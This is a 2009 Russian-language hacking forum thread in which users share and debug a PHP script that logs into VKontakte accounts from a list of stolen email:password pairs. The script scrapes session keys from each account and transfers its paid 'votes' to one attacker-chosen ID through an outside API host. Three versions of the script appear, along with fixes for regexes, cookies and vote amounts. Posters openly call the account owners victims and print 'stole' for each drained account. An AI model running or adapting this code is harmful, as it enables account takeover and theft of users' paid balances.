Скрипт для слива голосов с аккаунтов (рабочий)

Discussion in 'PHP' started by -=MeDved=-, 10 Sep 2009.

  1. -=MeDved=-

    -=MeDved=- Elder - Старейшина

    Joined:
    13 Aug 2008
    Messages:
    3
    Likes Received:
    113
    Reputations:
    1
    PHP:
    <?php 
    set_time_limit
    (0); 
    error_reporting(1); 
    $to "1"// vote to id 

    function curl($url,$post

        
    #echo "<br> $url | $post <br>\n"; 
        
    $cfile 'cookies.txt'
        
    $ch curl_init(); 
        
    curl_setopt($chCURLOPT_RETURNTRANSFER1); 
        
    curl_setopt($chCURLOPT_URL$url); 
        
    curl_setopt($chCURLOPT_HEADER0); 
        
    curl_setopt($chCURLOPT_POSTFIELDS$post); 
        
    curl_setopt($chCURLOPT_COOKIEJAR$cfile); 
        
    curl_setopt($chCURLOPT_COOKIEFILE$cfile); 
        
    curl_setopt($chCURLOPT_FOLLOWLOCATIONtrue); 
        
    curl_setopt($chCURLOPT_POST1); 
        
    $result curl_exec($ch); 
        
    curl_close($ch); 
        return 
    $result

    function 
    transfer_vote($email,$pass,$to){ 
        
    $result curl("http://vkontakte.ru/login.php","email=$email&pass=$pass"); 
        
    $result curl("http://vkontakte.ru/app614422",""); 
        
    preg_match("/viewer_id\: \"(.*?)\"/i"$result$user_id); 
        
    preg_match("/balance = (.*?);/i"$result$vote);
        
    preg_match("/join(.*?)'>/i"$result$appsl); 
        
    preg_match("/app_id = (.*?);/i"$result$app_id); 
        
    preg_match("/app_hash = '(.*?)';/i"$result$app_hash); 
        
    preg_match("/auth_key\: \"(.*?)\"/i"$result$auth_key); 
            if (
    $vote['1'] >= "1") { 
            echo 
    "#Спиздили ".$vote['1']." VOTE...<br>"
            
    flush(); 
            @
    ob_flush(); 
            
    $result curl("http://vkontakte.ru/apps.php?act=a_settings","app_id=614422&app_hash=".$app_hash['1']."&cn=0&caf=0&caph=0&caa=0&add=".$vote['1']."&withdraw=0"); 
            
    $result curl("http://api.vkontakte.fi/votes.php?uid_from=".$user_id['1']."&uid_to=".$to."&votes=".$vote['1']."00&auth=".$auth_key['1']); 
            echo 
    "#Всё ok...<br>"
            } 
            else { 
            echo 
    "#Нету голосов на акке(<br>"
            
    $result false;
            } 
        
    flush(); 
        @
    ob_flush(); 
        return 
    $result

    echo 
    "<style>body{background-color:#2B2F34;color:#C1C1C7;}input{color:#cccccc;b        order:1px solid #404040;background-color:#221;}red{color:#FF0000}</style> "
    $is_aks is_file  ("votes.txt"); 
    if(
    $is_aks != 1){ 
        die(
    'Нету файла с аккаунтами! Создайте файл votes.txt с аккаунтами в виде [email protected]:password'); 

    $aks file("votes.txt"); // AC file, login:pass 
    foreach($aks as $k => $v){ 
    $ak explode(":"trim($v)); 
    echo 
    "<b>--Логинимся--<br>E-mail:".$ak['0'].";password:".$ak['1']."<br>"
    $vote_res transfer_vote($ak['0'],$ak['1'],$to); 
    echo 
    "------------------------------------------<br>"
    flush(); 
    @
    ob_flush(); 

    ?> 
    Скрипт позволяюший передавать голоса с базы аккаунтов на 1 ID
    Работает через это приложение http://vkontakte.ru/app614422 (не банят)
    Для работы требуються текстовик votes.txt в котором и будут аккаунты через :
    Единственный минус (для меня) не правельно показываеться статистика кто исправит буду блогодарен!
    [+]приложение на аккаунт не добавляеться !
    Для локального запуска подойдет VertrigoServ
     
    #1 -=MeDved=-, 10 Sep 2009
    Last edited: 7 Oct 2009
    12 people like this.
  2. min7

    min7 Elder - Старейшина

    Joined:
    3 Sep 2005
    Messages:
    117
    Likes Received:
    85
    Reputations:
    11
    Сейчас затестим, спасибо
     
    1 person likes this.
  3. mr_Serega

    mr_Serega New Member

    Joined:
    24 Aug 2009
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    спс,но у меня ошибку выдает
    Warning: Missing argument 2 for curl(), called in D:\Program Files\VertrigoServ\www\test\index.php on line 41 and defined in D:\Program Files\VertrigoServ\www\test\index.php on line 5
    в чем проблема может заключаться?
     
  4. Миxей

    Миxей Member

    Joined:
    26 Aug 2009
    Messages:
    0
    Likes Received:
    12
    Reputations:
    0
    Респект и уважуха ;)
    Вот это нужная вещь ! ! !
     
    #4 Миxей, 10 Sep 2009
    Last edited: 10 Sep 2009
  5. Миxей

    Миxей Member

    Joined:
    26 Aug 2009
    Messages:
    0
    Likes Received:
    12
    Reputations:
    0
    только вопрос: приложение app614422 должно быть установлено у жертвы, или только у меня ?
     
  6. -=MeDved=-

    -=MeDved=- Elder - Старейшина

    Joined:
    13 Aug 2008
    Messages:
    3
    Likes Received:
    113
    Reputations:
    1
    Только у тебя
     
  7. mr_Serega

    mr_Serega New Member

    Joined:
    24 Aug 2009
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    А ты какой хост используешь для скрипта???
     
  8. Миxей

    Миxей Member

    Joined:
    26 Aug 2009
    Messages:
    0
    Likes Received:
    12
    Reputations:
    0
    да ТС , кстати , что эт за ошибка может быть ???

    Warning: Missing argument 2 for curl(), called in C:\Program Files\VertrigoServ\www\my\index.php on line 41 and defined in C:\Program Files\VertrigoServ\www\my\index.php on line 5
    #Ошибка:Нет голосов наверное =(...
     
    #8 Миxей, 10 Sep 2009
    Last edited: 10 Sep 2009
    4 people like this.
  9. _Spamer_

    _Spamer_ Elder - Старейшина

    Joined:
    3 Feb 2009
    Messages:
    83
    Likes Received:
    140
    Reputations:
    16
    переделай под новую логинизацию
     
    1 person likes this.
  10. *DeViL*

    *DeViL* Banned

    Joined:
    27 Nov 2007
    Messages:
    169
    Likes Received:
    56
    Reputations:
    0
    +1
     
  11. Ty3uK

    Ty3uK Member

    Joined:
    1 Feb 2009
    Messages:
    35
    Likes Received:
    28
    Reputations:
    0
    скрипт отлично работает с новой авторизацией...
    кстати приложение ни у кого не должно быть установлено! проверено!

    исправил скрипт ТС. исправил статистику, ошибку после каждого акка, прокомментировал отсутствие votes.txt

    Code:
    <?php
    set_time_limit(0);
    error_reporting(1);
    $to = "АЙДИ НА КОТОРЫЙ ПЕРЕДАВАТЬ ГОЛОСА"; // vote to id
    
    function curl($url,$post)
    {
    //echo "$url | $post <br>\n";
    $cfile = 'cookies.txt';
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_POST, 1);
    $result = curl_exec($ch);
    curl_close($ch);
    return $result;
    };
    function transfer_vote($email,$pass,$to){
    $result = curl("http://vkontakte.ru/login.php","email=$email&pass=$pass");
    $result = curl("http://vkontakte.ru/app614422","");
    preg_match("/viewer_id\", \"(.*?)\"/i", $result, $user_id);
    preg_match("/balance = (.*?);/i", $result, $vote);
    preg_match("/join(.*?)'>/i", $result, $appsl);
    preg_match("/app_id = (.*?);/i", $result, $app_id);
    preg_match("/app_hash = '(.*?)';/i", $result, $app_hash);
    preg_match("/auth_key\", \"(.*?)\"/i", $result, $auth_key);
        if ($vote['1'] >= "1") {
        echo "#Спиздили ".$vote['1']." VOTE...<br>";
        echo "#Всё ok...<br>";
        }
        else {
        echo "#Нету голосов на акке(<br>";
        }
    flush();
    @ob_flush();
    $result = curl("http://vkontakte.ru/apps.php?act=a_settings","app_id=614422&app_hash=".$app_hash['1']."&cn=0&caf=0&caph=0&caa=0&add=".$vote['1']."&withdraw=0");
    $result = curl("http://api.vkontakte.fi/votes.php?uid_from=".$user_id['1']."&uid_to=".$to."&votes=".$vote['1']."&auth=".$auth_key['1']);
    return $result;
    }
    echo "<style>body{background-color:#2B2F34;color:#C1C1C7;}input{color:#cccccc;b  order:1px solid #404040;background-color:#221;}red{color:#FF0000}</style> ";
    $is_aks = is_file  ("votes.txt");
    if($is_aks != 1){
        die('Нету файла с аккаунтами! Создайте файл votes.txt с аккаунтами в виде [email protected]:password');
    }
    $aks = file("votes.txt"); // AC file, login:pass
    foreach($aks as $k => $v){
    $ak = explode(":", trim($v));
    echo "<b>--Логинимся--<br>E-mail:".$ak['0'].";password:".$ak['1']."<br>";
    $vote_res = transfer_vote($ak['0'],$ak['1'],$to);
    echo "------------------------------------------<br>";
    flush();
    @ob_flush();
    }
    ?>
    
     
    #11 Ty3uK, 14 Sep 2009
    Last edited: 14 Sep 2009
    1 person likes this.
  12. -=MeDved=-

    -=MeDved=- Elder - Старейшина

    Joined:
    13 Aug 2008
    Messages:
    3
    Likes Received:
    113
    Reputations:
    1
    Спасибо большое ! исправил 1 й пост !
     
  13. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    Я не понимаю, ну никак!
    preg_match("/viewer_id\", \"(.*?)\"/i", $result, $user_id);
    И у вас это работает?!
    Да, я поднимаю тему, я немогу врубиться, во всех скриптах используются регулярки
    "option", "value"
    хотя у вконтакта
    option: "value"

    Не работает:
    preg_match("/viewer_id\", \"(.*?)\"/i", $result, $user_id);

    Работает:
    preg_match("/viewer_id\: \"(.*?)\"/i", $result, $user_id);

    Или вконтакт для россии выдаёт "option", "value" а для других стран oprion: "value"
    или как это понимать, потмоучто везде вижу эти ошибки в регулярках, но начал подохревать что у вас "option", "value"

    Если кто меня понял, ответьте, у вас "option", "value" или option: "value"
     
    5 people like this.
  14. DimOnOID

    DimOnOID Banned

    Joined:
    5 Dec 2006
    Messages:
    407
    Likes Received:
    126
    Reputations:
    4
    Я не знаю у кого этот скрипт работает...
    preg_match("/viewer_id=(.*?)&/i", $result, $user_id);
    preg_match("/auth_key=(.*?)&/i", $result, $auth_key);
    так тоже можно.
    в скрипте ещё при передаче $vote['1'] нужно умножить на 100.
    стата тут глюченная..
     
    #14 DimOnOID, 20 Sep 2009
    Last edited: 20 Sep 2009
  15. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    Да я говорю имено про эту регулярку
    preg_match("/viewer_id\", \"(.*?)\"/i", $result, $user_id);
    Она расчитана на текст
    "viewer_id", "123456"

    Но у меня на всех акках отображается так
    viewer_id: "123456"

    Но я уже видел и исправлял минимум 5 скриптов с такими регулярками, и что-то мне кажется что в россии видно "viewer_id", "123456" а для других стран viewer_id: "123456"
    Лан, забейте, я вод себя всё переписал и гуд

    там ещё кстате где он запрашивает api.vkontakte.fi это надо перенести после if ($vote['1'] >= "1") ато лищний трафф
     
  16. AlexV

    AlexV Elder - Старейшина

    Joined:
    29 Feb 2008
    Messages:
    173
    Likes Received:
    550
    Reputations:
    81
    Так кто-нибудь может переписать норм скрипт для передачи?
     
    #16 AlexV, 21 Sep 2009
    Last edited: 21 Sep 2009
  17. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    Ну вот я под себя переделал, но ещё раз говорю, у меня option: "value"
    PHP:
    <?php 
    set_time_limit
    (0); 
    error_reporting(1); 
    $to "1"// vote to id 

    function curl($url,$post

        
    #echo "<br> $url | $post <br>\n"; 
        
    $cfile 'cookies.txt'
        
    $ch curl_init(); 
        
    curl_setopt($chCURLOPT_RETURNTRANSFER1); 
        
    curl_setopt($chCURLOPT_URL$url); 
        
    curl_setopt($chCURLOPT_HEADER0); 
        
    curl_setopt($chCURLOPT_POSTFIELDS$post); 
        
    curl_setopt($chCURLOPT_COOKIEJAR$cfile); 
        
    curl_setopt($chCURLOPT_COOKIEFILE$cfile); 
        
    curl_setopt($chCURLOPT_FOLLOWLOCATIONtrue); 
        
    curl_setopt($chCURLOPT_POST1); 
        
    $result curl_exec($ch); 
        
    curl_close($ch); 
        return 
    $result

    function 
    transfer_vote($email,$pass,$to){ 
        
    $result curl("http://vkontakte.ru/login.php","email=$email&pass=$pass"); 
        
    $result curl("http://vkontakte.ru/app614422",""); 
        
    preg_match("/viewer_id\: \"(.*?)\"/i"$result$user_id); 
        
    preg_match("/balance = (.*?);/i"$result$vote);
        
    preg_match("/join(.*?)'>/i"$result$appsl); 
        
    preg_match("/app_id = (.*?);/i"$result$app_id); 
        
    preg_match("/app_hash = '(.*?)';/i"$result$app_hash); 
        
    preg_match("/auth_key\: \"(.*?)\"/i"$result$auth_key); 
            if (
    $vote['1'] >= "1") { 
            echo 
    "#Спиздили ".$vote['1']." VOTE...<br>"
            
    flush(); 
            @
    ob_flush(); 
            
    $result curl("http://vkontakte.ru/apps.php?act=a_settings","app_id=614422&app_hash=".$app_hash['1']."&cn=0&caf=0&caph=0&caa=0&add=".$vote['1']."&withdraw=0"); 
            
    $result curl("http://api.vkontakte.fi/votes.php?uid_from=".$user_id['1']."&uid_to=".$to."&votes=".$vote['1']."00&auth=".$auth_key['1']); 
            echo 
    "#Всё ok...<br>"
            } 
            else { 
            echo 
    "#Нету голосов на акке(<br>"
            
    $result false;
            } 
        
    flush(); 
        @
    ob_flush(); 
        return 
    $result

    echo 
    "<style>body{background-color:#2B2F34;color:#C1C1C7;}input{color:#cccccc;b      order:1px solid #404040;background-color:#221;}red{color:#FF0000}</style> "
    $is_aks is_file  ("votes.txt"); 
    if(
    $is_aks != 1){ 
        die(
    'Нету файла с аккаунтами! Создайте файл votes.txt с аккаунтами в виде [email protected]:password'); 

    $aks file("votes.txt"); // AC file, login:pass 
    foreach($aks as $k => $v){ 
    $ak explode(":"trim($v)); 
    echo 
    "<b>--Логинимся--<br>E-mail:".$ak['0'].";password:".$ak['1']."<br>"
    $vote_res transfer_vote($ak['0'],$ak['1'],$to); 
    echo 
    "------------------------------------------<br>"
    flush(); 
    @
    ob_flush(); 

    ?>
     
    3 people like this.
  18. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    Кто автор скрипта?
     
  19. Ty3uK

    Ty3uK Member

    Joined:
    1 Feb 2009
    Messages:
    35
    Likes Received:
    28
    Reputations:
    0
    ничё домножать не надо, я тоже думал что надо но оно отдаёт всё верно) проверял
    дык он у меня отлично работает, та версия что я немного исправил
    может -=MeDved=-, а может и нет...
     
  20. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    Да нет, надо!
    Если на акке 1 голос, придёт 0.01 надо умножить на 100 и придёт 1 как надо

    У него там траблы с куками были
    Если у вас пишет нет голосов, даже если они есть, создайте cookies.txt с правами 777

    И уберите
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    оно жрёт лишний траф, и оно там ненадо
    И error_reporting(1); вобще бред какой-то (не, ну может не бред, я значения констант незнаю)
    Замените на error_reporting(E_ALL ^ E_NOTICE);
     
    #20 Ponchik, 21 Sep 2009
    Last edited: 21 Sep 2009